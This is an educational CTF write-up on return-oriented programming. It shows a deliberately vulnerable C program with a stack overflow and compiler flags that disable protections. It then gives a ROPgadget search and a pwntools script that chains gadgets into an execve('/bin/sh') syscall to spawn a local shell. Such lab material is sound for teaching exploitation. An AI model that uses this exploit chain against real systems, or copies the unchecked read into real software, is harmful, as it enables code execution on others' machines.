Simple PWN - 0x07(ROP)
tags: CTF PWN eductf
Background
- This is very similar to normal
BOF. - If a sample code that doesn’t have a backdoor function and you cannot input a backdoor function as well, then you can use some code segment to merge a shellcode.
- Therefore, the main idea is use some
<operation>;retpattern segment to overlap stack.
Original Code
#include <stdio.h>
#include <unistd.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0)
setvbuf(stdout, 0, _IONBF, 0);
char s[0x10];
printf("Here is your \"/bin/sh\": %p\n", "/bin/sh");
printf("Give me your ROP: ");
read(0, s, 0x400);
return 0;
}
- At line
11,%pmeans pointer of/bin/shstring. - Note that, if you establish the code yourself, you must turn off the protection by the command below and use
checksecto observe the protection. In addition, please use-staticcommand to compile library at compile time, so that we can getROP gadgetmore easily.gcc -o rop rop.c -zexecstack -no-pie -fno-stack-protector -z norelro -static
Exploit
- First, we can observe the program has overflow(very important), but has no other backdoor method can access or global variable can write shellcode. Then we can consider to use
ROP gadgetto construct chain. - Second, we use
ROPgadgetto find suitable gadget$ ROPgadget --multibr --binary rop > rop_gadget $ vim rop_gadget

- Note that, you may consider that
pop rdx ; pop rbx ; retis not what we want. We just wantpop rdx ; ret. Therefore, we have to push one more value forpop rbx ;instruction.
- Note that, you may consider that
- Then, we can construct our payload:
from pwn import * context.arch = 'amd64' r = process('./rop') r.recvuntil('Here is your "/bin/sh": ') binsh = int(r.recvline()[:-1], 16) info(f"binsh: {hex(binsh)}") pop_rdi_ret = 0x401eaf pop_rsi_ret = 0x409ede pop_rdx_ret = 0x485aeb pop_rax_ret = 0x44fcc7 syscall = 0x401c64- Note that,
r.recvline()[:-1]isb'0x498004'and we must pop to%rdiat line17below.
- Note that,
- Then we can combine them together using flat method. It’ll flat the address with length 8 bytes.
ROP = flat( pop_rdi_ret, binsh, pop_rsi_ret, 0, pop_rdx_ret, 0, 0, pop_rax_ret, 0x3b, syscall, ) gdb.attach(r) r.sendafter("Give me your ROP: ", b'a' * 0x18 + ROP) r.interactive() - Finally, we got shell!!!
Analysis
- This is totally the same as our hypothesis.
- We can see that all parameters are ready